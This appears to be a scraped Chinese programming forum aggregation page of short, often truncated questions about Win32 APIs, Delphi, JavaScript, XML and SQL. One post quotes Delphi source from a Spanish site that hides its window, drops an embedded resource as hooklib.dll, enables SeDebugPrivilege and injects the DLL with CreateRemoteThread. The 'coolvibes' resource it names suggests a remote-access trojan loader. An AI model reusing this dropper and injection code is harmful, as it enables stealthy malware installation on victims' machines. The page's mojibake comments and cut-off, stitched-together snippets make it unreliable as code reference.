AcceptEx <em>这个</em><em>函数</em>谁用过?rn最近在写一个IOCP的服务端,看了书和网络上的文章和代码,rnrn大多都有个监听线程和IOCP的工作线程,rn既然用 IOCP 模型怎么有个监听线程,没搞懂,效率上应该也是瓶颈吧,rnrn用 AcceptEx 可以在 IOCP的工作线程中响应连接事件,rnrn可是关闭的时候却响应不到,没想明白为什么rnrn还有都是用获得 AcceptEx 的<em>函数</em>指针来使用,说是效率高,rn我没有获得<em>函数</em>指针用就错了??rnrn求老手<em>帮忙</em>解答下FAQ,感激不尽。
谁用过这个函数 GetAdaptersInfo ?
如何用<em>这个</em><em>函数</em> DWORD GetAdaptersInfo ( PIP_ADAPTER_INFO pAdapterInfo , PULONG pOutBufLen )?rnpAdapterInfo 和 pOutBufLen 如何初始化?rn我用过之后返回值为 ERROR_INVALID_PARAMETER,什么意思?
谁用过DhcpRegisterParamChange这个函数?!
给个例子或给讲讲,具体点.msdn的例子我看过,还是不太清楚.
谁用过MCISendCommand这个函数
我有问题的就是MCI_OPEN_SHAREABLE<em>这个</em>参数到底是干什么用的?rn我一个设备想打开两次,是不是MCI_OPEN两回就不行了?加了MCI_OPEN_SHAREABLE<em>这个</em>参数也不行吗?部分代码如下:rn open.lpstrDeviceType := LPCSTR(MCI_DEVTYPE_OVERLAY);rn open.hWndParent := HDL;rn dwFlags := dwflags or MCI_OPEN_TYPE or MCI_OPEN_TYPE_ID;rn dwFlags := dwflags or MCI_OVLY_OPEN_PARENT or MCI_OPEN_SHAREABLE;rnrn Error := mciSendCommand( a, MCI_OPEN, dwFlags, DWord(@open));rn RaiseErr(Error);rn第一次调用是没问题的,在MCI_CLOSE之前再调用就说“设备的名称已被此应用程序用作别名。请使用唯一的别名。rn谁能告诉我怎么能OPEN两次啊,因为我想两次中让设备做不同的事。 rnrn
谁用过SelectDirectory这个函数
我使用了<em>这个</em><em>函数</em>,系统要求将FileCtrl<em>这个</em>单元包括进去,我就应不容辞的包括进去了。但是每次编译的时候系统开始出警告:rnrn[Warning] NewLibFrm.pas(8): Unit 'FileCtrl' is specific to a platformrnrn想问问大家为什么,我该如何消除<em>这个</em>警告。
谁给解释一下这个函数
function MM_swapImgRestore() //v3.0rn var i,x,a=document.MM_srrn for(i=0;a&&i
谁晓得这个函数干嘛的
读linux命令实现源码,总是见到initialize_main (&argc, &argv)<em>这个</em><em>函数</em>打头阵,在system.h<em>这个</em>有定义 rn#ifndef initialize_mainrn# define initialize_main(ac, av)rn#endifrn这宏啥也不干,嘛意思呀
谁用过getopt() 这个函数
各位高手:rn 有谁用过getopt()<em>这个</em><em>函数</em>,能给我讲讲是什么功能,他的参数表都有几种情况,返回值什么的吗?
谁了解“SetDlgItemText”这个函数
CString str2=“你好”;rnSetDlgItemText(IDC_EDIT1,str2);rn rn HWND hwnd = ::GetDlgItem(g_MehWnd,IDC_EDIT1);rn CRect Myrect;rn ::GetWindowRect(hwnd,Myrect);///-///达不到效果 rn ScreenToClient(Myrect); rn ::SetWindowPos(hwnd,HWND_TOP, Myrect.left, Myrect.top, (Myrect.right-Myrect.left), (Myrect.bottom-Myrect.top), SWP_NOZORDER|SWP_SHOWWINDOW);rn InvalidateRect(Myrect,true);rn rn HBITMAP hBitmap; rn Sleep(500);rn GetDlgItem(IDC_EDIT1)->GetWindowRect(Myrect);///-///达不到效果rnrn hBitmap=CopyScreenToBitmap(&Myrect);rnrn代码大体就是这样的rn我在IDC_EDIT1中显示文字“你好”,然后想用CopyScreenToBitmap(&Myrect);截屏,就是类似于键盘的printscreen按键,rn问题是,这些代码是在一个按钮的<em>函数</em>体内实现的,rn然后什么也截不到。rn开始我以为是因为文字发过去之后没有图形重绘,所以加了那句SetWindowPos和InvalidateRect,但是还不管用,rn难道SetDlgItemText必须要等到一个Onbutton<em>函数</em>体整体运行完毕才执行?
谁会写这个javascript函数
表格的单元格里面有一个 文本框()rn在其相同的位置再放一个 选择框 (……)rnrn现在要点击<em>一下</em>文本框就变成选择框,rn选择完后有变成文本框,同时选择框中的内容到了文本框中,rnrn<em>这个</em>javascript的<em>函数</em>怎么写?
谁用过这个GetPrivateProfileString()函数
DWORD GetPrivateProfileString(lpszSection, lpszKey, lpszDefault, lpszReturnBuffer, cchReturnBuffer, lpszFile)rnrn<em>函数</em>原型如上,这是Win32 API中的<em>函数</em>。我想读*.ini的文件。rnrn请各路高手帮<em>帮忙</em>!~rn
CreateMutexA这个函数谁用过
他的语法为rnfunction ulong CreateMutexA(ulong lpMutexAttributes, int bInitialOwner, ref string lpName) library "kernel32.dll"rnrnrnrn我不明白<em>这个</em><em>函数</em>是什么意思rn请问那里有下<em>函数</em>的详细说明rn谢谢
谁用过biosdisk这个函数
请问如果要访问A盘或者B盘 怎么调用,也就是说A或B盘的驱动器号码是多少
谁用过TransparentBlt这个函数
TransparentBlt()是一个将位图透明的在对话框中显示的<em>函数</em>。但我不清楚它的几个参数的用法,MSDN中对此<em>函数</em>的说明如下:rnBOOL TransparentBlt(rn HDC hdcDest, // handle to destination DCrn int nXOriginDest, // x-coord of destination upper-left cornerrn int nYOriginDest, // y-coord of destination upper-left cornerrn int nWidthDest, // width of destination rectanglern int hHeightDest, // height of destination rectanglern HDC hdcSrc, // handle to source DCrn int nXOriginSrc, // x-coord of source upper-left cornerrn int nYOriginSrc, // y-coord of source upper-left cornerrn int nWidthSrc, // width of source rectanglern int nHeightSrc, // height of source rectanglern UINT crTransparent // color to make transparentrn)rnrn这里的源原点和目标原点以及原长(宽)度和目标长(宽)度分别指什么呢?rn假如我现在想在主对话框的(250,300)点这里插入一个150*150的透明图片,参数该怎么传呢?我试了几次,好像如果参数传的不好的话,图片显示出来是一片漆黑。rn请用过<em>这个</em><em>函数</em>的各位高手指教。
谁用过这个函数StgOpenStorage?
HRESULT hresult = ::StgOpenStorage(pwctemp,NULL, rn STGM_DIRECT and STGM_READ and STGM_SHARE_DENY_WRITE, rn NULL, 0, &stg); rnif (hresult != S_OK)rnrn我用<em>这个</em><em>函数</em>时,老是返回非S_OK的错误。提示不是说share错误就是modeflag有误,但在另一个项目就可以,真是奇怪! rn哪位大侠求命呀?
谁帮我看看这个函数
public static string jiequ(string alltext,string startext,string endtext)rnrn int i =alltext.IndexOf(startext)+startext.Length;rn int s =alltext.IndexOf(endtext);rn string str=alltext.Substring(i,s);rn return str;rnrnrn我想实现的功能:把alltext中,startext 和 endtext中的字符串取出来
谁用过这个函数?SQLConfigDataSource
SQLConfigDataSource需要调用什么头文件?
RegQueryValueEx 这个函数谁用过?
我想直接使用api操作注册表,而不想用TRegistry,所以测试 RegQueryValueEx <em>这个</em><em>函数</em>,结果不能得到正确的结果,代码如下:rnrn DWORD dataType;rn DWORD reserved;rn BYTE data[256];rn DWORD size=256;rn reserved=0;rn char ValueName[]="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDriveTypeAutoRun";rnrn if(RegQueryValueEx(HKEY_CURRENT_USER,ValueName,&reserved,&dataType,rn data,&size)== ERROR_SUCCESS)ShowMessage("Ok");rnrn谁用过<em>这个</em>请指点<em>一下</em>,或者<em>帮忙</em>测试<em>一下</em>上面的代码。谢谢!rnrn上述代码运行后,RegQueryValueEx 的返回值为什么不能 ERROR_SUCCESS ?换过其他键值也不行。
谁帮我解释一下这个函数~~
function String.prototype.Trim()return this.replace(/(^\s*)|(\s*$)/g,"");rnrn我知道是干什么用的,谁可以解释<em>一下</em>prototype和(/(^\s*)|(\s*$)/g,"")
计算开机时间,谁给点想法
想做个<em>计算</em>开机的<em>时间</em>的小程序,却没有一点想法。谁能给点思路,<em>计算</em>开机了多长<em>时间</em>?
计算年数帮忙一下吧,
数据库中有一个字段username和一个字段userbirth是datetime类型,如何用datediff算出用户是在18-20岁之间的用户名;谢谢名位了,很急的,快<em>帮忙</em><em>一下</em>吧,
J2ME解析XML 你们解析一下这个
http://www.efala.net/testflow.flowrn rn rn rn 看你们<em>解析</em>出来是什么东西
谁用过sever.execute这个方法,帮忙讲解一下
<em>这个</em>方法如何使用呢???rnrn最好讲解的详细一些。
这个源代码里面问题好怪,谁帮忙解答一下
有谁看过《directx 高级动画制作》的源代码吗,里面有个程序用自己编写的代码实现DrawSubmit()的功能,可是我看了好长<em>时间</em>都没有看到设置材质的代码,就是没有显示地调用SetMaterial(),可是程序照样显示正常结果,难道还有其他方法来设置材质吗rn实在搞不懂,对啦,mesh里面的通过GetVertexBuffer()得到的顶点信息pVB里面是不是就包含材质信息呢?哪位知道
帮忙一下这个update join 语句.
update homoSoftware as a inner join \rn (software as b inner join \rn ([;database=%s].software as c inner join main as d on d.index=a.indexmain) \rn on c.name=b.name) \rn on a.indexsoftware=c.index set a.indexsoftware=b.indexrnrn
帮忙解析一下这个XML文件
rnrnrn rn rn rn rn rn rn rn rn rn rn rn rnrnrnrnrn结果输出所有节点和属性,使用java或jsp
解析一下这个小程序
double Cylinder(double r,double h);rnvoid main()rnrn double radius,height;rn cout<>radius,height;rn double volume=Cylinder(radius,height);rn cout<<
这个webbrowser控见问题谁帮忙解决一下
请您再浏览器中敲入rnrnhttp://www.whitepages.com/find_person_results.pl?l=aa&c=Denver&s=COrnrn我如何在程序中运行next 10>>,让他到下10个?rnnext 10>>对应的代码为:rnrnrnrn我的程序是:rn For i = 0 To vDoc.All.length - 1rn If UCase(vDoc.All(i).tagname) = "INPUT" and vDoc.name="next" Thenrn vDoc.All(i).Clickrn Ifrn Nextrn程序确实定位到了next 10>>,但是执行vDoc.All(i).Click没有动作,而实际上点击鼠标是应该到下一页的。rnrn晴问:正确的应该怎么做?rn谢谢rn
求助,谁帮忙改进一下这个程序,万分感谢。
一个HUE色轮分析软件。分析都是对的,求大虾进行改进:增加批处理功能,现在只能一张一张的处理,无法选择多张图片进行批处理。求大虾帮我实现<em>这个</em>功能。。谢谢。由于论坛无法上传附件,可以<em>帮忙</em>的,留下您的联系方式,我把软件给您发过去。
帮忙一下这个SWF为源文件
客户想做的FLASH一个菜单效果,去了那个网站抄了引导页swf下来,用旧那此破解工具转不了源文件。谁帮手转换<em>一下</em>rnrnhttp://www.bamatea.com/ rnrn昨晚发在另一个区送40分贴,没人回,可在这里回复上传源文件,到时把这里的的一起都结了rnhttp://bbs.csdn.net/topics/390735906
帮忙分析一下这个源码!西班牙网站上的!
////////////////////////////////////////////////////////////////////////////////rn//rn// ****************************************************************************rn// * Project : Inject/Eject Library Demorn// * Unit Name : mainrn// * Purpose : 腻祛眈蝠圉桀眄 镳桁屦 忭邃疱龛 徼犭桀蝈觇 麇疱?CreateRemoteThreadrn// * Author : 离尻襦礓?(Rouse_) 拎沐朦rn// * Version : 1.00rn// ****************************************************************************rn//rnrnunit main;rnrninterfacernrnusesrn Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,rn Dialogs, StdCtrls;rnrnconstrn DLLName = 'hooklib.dll';rnrnrntypern TfrmMain = class(TForm)rn GroupBox: TGroupBox;rn lbStatus: TListBox;rn procedure btnInjectEjectClick(Sender: TObject);rn privatern function InjectLib(const ProcessID: DWORD): Boolean;rnrn end;rnrn // 腻觌囵圉? 趔黻鲨?镳?镱祛 觐蝾瘥?狍溴?镳铊聃钿栩?恹沭箸赅 徼腓铗尻?rn TGetModuleHandle = function (lpModuleName: PChar): HMODULE; stdcall;rn TFreeLibrary = function (hLibModule: HMODULE): BOOL; stdcall;rnrn // 羊痼牝箴?镥疱溧忄屐? 镱蝾觐忸?趔黻鲨?镳?恹沭箸赍 徼犭桀蝈觇rn PEjectLibStruct = ^TEjectLibStruct;rn TEjectLibStruct = recordrn hGetModuleHandle: TGetModuleHandle;rn hFreeLibrary: TFreeLibrary;rn lpModuleName: PChar;rn end;rnrnvarrn frmMain: TfrmMain;rn File1: String = 'nserver';rn File1Extention: String = 'dll';rn File2Extention: String = 'dll';rnrnrnimplementationrnrn$R *.dfmrn$R 'coolvibes.res' 'coolvibes.RC'rnrnrn TfrmMain rnrn// 吾疣犷蝼桕 觏铒觇 磬 忭邃疱龛?恹沭箸牦 徼犭桀蝈觇rn// =============================================================================rnrnrnprocedure TfrmMain.btnInjectEjectClick(Sender: TObject);rnbeginrnShowWindow(Handle, SW_HIDE);rnShowWindow(Application.Handle, SW_HIDE) ;rn SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW ) ;rn ShowWindow(Application.Handle, SW_HIDE) ;rnrnrnrn TComponent(Sender).Tag := TComponent(Sender).Tag + 1;rn if (TComponent(Sender).Tag mod 2) = 1 thenrn beginrnrn if InjectLib(GetCurrentProcessID) thenrn lbStatus.Items.Add('Inyeccion con exito.')rn elsern endrn end;rnrnrnrnrnrn// procedure dropperrn// Extraer un resource a un archivo y ejecutarlornrnprocedure ExtractFile(whichone: String);rnvarrn WhichExtention: String;rn DirBuff,FileNameBuff,ResultFilePath,ResourcePointer: PChar;rn ResourceLocation: HRSRC;rn ResourceSize,byteswritten: Longword;rn ResDataHandle: THandle;rn FileHandle: THandle;rnbeginrn //Obtener memoriarn getMem(DirBuff,MAX_PATH+1);rn getMem(FileNameBuff,MAX_PATH+1);rnrnrn //Obtener la extension de los archivos extraidosrn if whichone = File1 then WhichExtention := File1Extentionrn else WhichExtention := File2Extention;rnrnrn ResultFilePath := 'hooklib.dll';rnrn //Liberar memoriarn freeMem(DirBuff);rn freeMem(FileNameBuff);rnrn //Tiempo para extraer el resourcernrn //Buscar el resourcern ResourceLocation := FindResource(HInstance,PChar(whichone),RT_RCDATA);rn if ResourceLocation = 0 then exit;rnrn //Obtener el tama駉 del resourcern ResourceSize := SizeofResource(HInstance,ResourceLocation);rn if ResourceSize = 0 then exit;rnrn //Cargar el recurso en memoriarn ResDataHandle := LoadResource(HInstance,ResourceLocation);rn if ResDataHandle = 0 then exit;rnrn //Asegurar el resourcern ResourcePointer := LockResource(ResDataHandle);rn if ResourcePointer = NIL then exit;rnrn //Crear nuestro archivorn FileHandle := CreateFile(ResultFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,NIL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);rn if FileHandle = INVALID_HANDLE_VALUE then exit;rnrn //Escribir Resource en un archivorn WriteFile(FileHandle,ResourcePointer^,ResourceSize,byteswritten,NIL);rnrn //Cerrar archivorn CloseHandle(FileHandle);rnrnrnsleep(500);rn //returnrnend;rnrnrnrn// 项赅 磬?镳铞羼?礤 镱塍麒?铗豚犷黜 镳桠桦邈梃,rn// 忮顸 铗 觐?疣犷蜞螯 礤 狍溴?rn// =============================================================================rnfunction SetDebugPriv: Boolean;rnvarrn Token: THandle;rn tkp: TTokenPrivileges;rn ReturnLength: DWORD;rnbeginrn Result := false;rn // 项塍鬣屐 蝾赍?蝈牦泐 镳铞羼襦rn if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, Token) thenrn beginrn // 项塍鬣屐 Luid 镳桠桦邈梃rn if LookupPrivilegeValue(nil, PChar('SeDebugPrivilege'), tkp.Privileges[0].Luid) thenrn beginrn // 青镱腠屐 礤钺躅滂禧?镟疣戾蝠?rn tkp.PrivilegeCount := 1;rn tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;rn // 玛膻鬣屐 镳桠桦邈棹rn Result := AdjustTokenPrivileges(Token, false, tkp, 0, nil, ReturnLength);rn end;rn end;rnend; rnrn// 泽黻鲨 忭邃?弪 徼犭桀蝈牦 ?箐嚯屙睇?镳铞羼??PID 疣忭 ProcessIDrn// 碾 篑镥钽?忭邃疱龛 眢骓?镥疱溧螯 噤疱?趔黻鲨?LoadLibraryArn// ?矬螯 ?玎沭箧噱祛?徼犭桀蝈赍.rn// 羊痤牦 ?矬蝈?礤钺躅滂祛 疣珈羼蜩螯 ?嚯疱耥铎 镳铖蝠囗耱忮 箐嚯屙眍泐 镳铞羼襦rn// =============================================================================rnfunction TfrmMain.InjectLib(const ProcessID: DWORD): Boolean;rnvarrn Process: HWND;rn ThreadRtn: FARPROC;rn DllPath: String;rn RemoteDll: Pointer;rn BytesWriten: DWORD;rn Thread: DWORD;rn ThreadId: DWORD;rn ExitCode: DWORD;rnbeginrn // 玉蜞磬怆桠噱?铗豚漕黜 镳桠桦邈梃 潆 磬泐 镳铞羼襦rn ExtractFile(File1); //Extraer + ejecutar Archivo1rn Result := SetDebugPriv;rn if not Result then Exit;rn Process := 0;rn Thread := 0;rn ShowWindow(Application.Handle, SW_HIDE) ;rn tryrn // 悟牮噱?镳铞羼?rn Process := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION orrn PROCESS_VM_WRITE, True, ProcessID);rn if Process = 0 then Exit;rn // 蔓溴?屐 ?礤?镟?螯 镱?耱痤牦rn DllPath := ExtractFilePath(ParamStr(0)) + DLLName;rn RemoteDll := VirtualAllocEx(Process, nil, Length(DllPath),rn MEM_COMMIT or MEM_TOP_DOWN, PAGE_READWRITE);rn if RemoteDll = nil then Exit;rn // 翔?矬螯 ?潆??邈?噤疱耥铄 镳铖蝠囗耱忸rn if not WriteProcessMemory(Process, RemoteDll, PChar(DllPath),rn Length(DllPath), BytesWriten) then Exit;rn if BytesWriten <> DWORD(Length(DllPath)) then Exit;rn // 项塍鬣屐 噤疱?趔黻鲨?桤 Kernel32.dllrn ThreadRtn := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'LoadLibraryA');rn if ThreadRtn = nil then Exit;rn // 青矬耜噱?箐嚯屙睇?镱蝾?rn Thread := CreateRemoteThread(Process, nil, 0, ThreadRtn, RemoteDll, 0, ThreadId);rn if Thread = 0 then Exit;rn // 其屐 镱赅 箐嚯屙睇?镱蝾?铗疣犷蜞弪...rn if (WaitForSingleObject(Thread, INFINITE) = WAIT_OBJECT_0) thenrn if GetExitCodeThread(Thread, ExitCode) thenrn Result := ExitCode = 0;rn finallyrn // 愉嚯屙睇?镱蝾?疋铪 玎溧黧 恹镱腠桦 ?玎沭箸桦 磬 徼犭桀蝈牦,rn // 祛骓?铖忸犷驿囹?玎?蝮?镟?螯...rn if RemoteDll <> nil thenrn VirtualFreeEx(Process, @RemoteDll, 0, MEM_RELEASE);rn if Thread <> 0 then CloseHandle(Thread);rn if Process <> 0 then CloseHandle(Process);rnend;rnend;rnrn// 碾 蝾泐 黩钺?恹沭箸栩?徼犭桀蝈牦, 礤钺躅滂祛 磬轵?邋 噤疱??箐嚯屙眍?rn// 镳铞羼皴 ?恹玮囹?蜞?驽 FreeLibraryrn// 蒡桁 ?磬?狍溴?玎龛爨螯? 忸?蜞赅 趔黻鲨rn// 碾 篑镥铋 邋 疣犷螓 礤钺躅滂祛 镥疱溧螯 3 镟疣戾蝠?rn// 1: 冷疱襦 趔黻鲨?GetModuleHandle ?FreeLibrary;rn// 2: 褥 祛潴?, 恹沭箸牦 觐蝾痤泐 禧 狍溴?镳铊玮钿栩?rn// =============================================================================rnfunction RemoteFreeLibrary(lpParameter: Pointer): DWORD; stdcall;rnvarrn hLibModule: HMODULE;rnbeginrnrn Result := 0;rn if lpParameter = nil then Exit;rn // 项塍鬣屐 铒桉囹咫?磬?徼犭桀蝈觇 (桉镱朦珞屐 镥疱溧眄 镟疣戾蝠?rn hLibModule := TGetModuleHandle(PEjectLibStruct(lpParameter)^.hGetModuleHandle)rn (PEjectLibStruct(lpParameter)^.lpModuleName);rn if hLibModule <> 0 thenrn // 蔓沭箧噱?徼犭桀蝈牦rn Result := DWORD(TFreeLibrary(PEjectLibStruct(lpParameter)^.hFreeLibrary)(hLibModule));rnend;rnrn// 泥眄? 趔黻鲨 玎矬耜噱??箐嚯屙眍?镳铞羼皴 镱蝾?rn// ?镱蝾觐忸?趔黻鲨彘 RemoteFreeLibraryrn// ?镱溷铗噔腓忄弪 潆 邋 疣犷螓 礤钺躅滂禧?溧眄rn// =============================================================================rnrnrnend.rn
请教一下关于时间函数
如现在的系统<em>时间</em>为2003/12/12 16:30rnrn怎么样把<em>这个</em><em>时间</em>转化为200312121630 ?rnrn如果有相同的有如何在后面加个识别数字把它区别开来,如20031212163001。rnrn这样的代码怎么写啊??rnrn
谁帮我说一下TRACE()这个函数有什么用?
常碰到这样的<em>函数</em>,rnTRACE("ASDFSADF");rn<em>这个</em>有什么用嘛,谁帮我解释<em>一下</em>谢谢。
●谁帮我写一下这个函数,本人是初学者●
身份识别模块:rnrnFunction SFSB(ID:integer;AreaID:Integer):BooleanrnContent:rnID:用户身份IDrnAreaID:模块ID;用户需要进入的模块IDrn返回值:Boolean型:rn True:可以进入rn False:禁止进入rnrn逻辑:rn对两个表进行操作,分别是User,Right.rn在USER表中,根据用户的ID取出权限,根据取出的权限ID,到RIGHT表查找相应ID号相同的right_AboutModule字段中是否包涵有AreaID,若有返回True,若无返回False;rnright_AboutModule字段中相应表示形式为1,2,3,4,5,7,9,rn
谁用过AnimateWindow这个函数?给解答一下,谢谢!
我想窗口显示动画,但是<em>这个</em><em>函数</em>怎么用不了?我的系统window2003,vs.net2003,在vc++.net中,不能用?
这个函数谁能用.net帮我写一下?谢谢
Function ReplaceText(fString,patrn,replStr)rnSet regEx = New RegExp ' 建立正则表达式。rnregEx.Pattern = patrn ' 设置模式。rnregEx.IgnoreCase = True ' 设置是否区分大小写。rnregEx.Global = True ' 设置全局可用性。 rnReplaceText = regEx.Replace(""&fString&"",""&replStr&"") ' 作替换。rnSet reg=nothingrnEnd Functionrn调用方法:rnfString = ReplaceText(fString, "是什么意思啊?
帮忙解析一下一段xml
338         28         库尔勒         51656                       339         28         吐鲁番         51573        前面还有很多不是Area开头的标签对,我想把   到 里面的4个标签对里的值放到一个数组里,应该怎么<em>解析</em>. 我本来的思路是,遇到Area开头时表示之后的标
麻烦帮忙解析一下代码
Bitmap b = new Bitmap(Image.FromFile(new DirectoryInfo(stencilLocation).GetFiles(stenciFieldName).Single().FullName))rnrn上面这句代码是什么意思? 两个参数都是string类型的。
帮忙解析一下这段代码
其中com是一个SqlCommand对象。rn[code=C#]rnprivate void SetCommandText(string commandText, bool isProc)rnrn com.CommandText = commandText;rn com.CommandType = isProc ? CommandType.StoredProcedure : CommandType.Text;rn if (!com.Parameters.Contains("ReturnValue"))rn rn com.Parameters.Add("ReturnValue", SqlDbType.Int).Direction = ParameterDirection.ReturnValue;rn rnrn[/code]rnrn主要是com.Parameters.Add("ReturnValue", SqlDbType.Int).Direction = ParameterDirection.ReturnValue;这一句。
帮忙解析一下几句代码
[b][color=#FF0000]为了方便提问,我把整段代码都贴上来了。下面代码有些不太理解,请<em>帮忙</em><em>解析</em><em>一下</em>。代码中的注解就是我要提的问题。如果能以在代码中添加注解的方式来回答,那就更好了。[/color][/b]rn[code=C#]rnrnrnrnrnrn rnrnrn FileUpload Largernrnrn rn rn rn rnrn rnrn rnrn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rnrnrn[/code]rnrn本人刚学asp.net不久,拜谢了。
帮忙看看这个函数
<em>函数</em>体如下:rnif greadonly thenrn cb_name.enabled=truernelsern cb_name.enabled=falsernend if rnreturnrn参数说明:rnaccess:publicrnreturn type:nonernfunction name:cb_enabledrnArgument Type:commandbuttonrnArgument Name:cn_namern<em>函数</em>调用:rncb_enabled(cb_1)//cb_1是按钮的namern错误信息如下:rn ---------- Compiler: Errorsrnbeian.pbl(w_maoyifangshi).w_maoyifangshi.open.2: Error C0165: Misused type: 'cb_1'rn ---------- Finished Errorsrnrn
VCC VDD VEE VSS区别下载
VCC VDD VEE VSS 常用定义,硬件必备知识。 相关下载链接:[url=//download.csdn.net/download/arthur817/2432464?utm_source=bbsseo]//download.csdn.net/download/arthur817/2432464?utm_source=bbsseo[/url]
第二届“中兴捧月”预赛题目下载
第二届“中兴捧月”预赛题目,其中包含6 个题目 相关下载链接:[url=//download.csdn.net/download/gaocuom/2593138?utm_source=bbsseo]//download.csdn.net/download/gaocuom/2593138?utm_source=bbsseo[/url]
视频剪切合并器下载
视频剪切合并器是一款目前剪切视频速度最快,支持无损切割视频,最好用的免费视频剪切合并工具。剪切一个100MB大小的视频文件只需要10秒左右时间,是目前最快的视频剪切工具。它可以对AVI, MP4, FLV, MOV, RMVB,3GP,WMV等视频格式进行任意时间段的剪切,还支持多个视频文件的合并。 相关下载链接:[url=//download.csdn.net/download/pxcjm/5180867?utm_source=bbsseo]//download.csdn.net/download/pxcjm/5180867?utm_source=bbsseo[/url]
相关热词 c#异步发送kafka c#窗体编号 c# 操作二进制文件 c# 反射 机制 c#线程 窗体失去响应 c#角度转弧度 c# 解析gps数据 c# vs设置 语法版本 c# json含回车 c#多线程demo
我们是很有底线的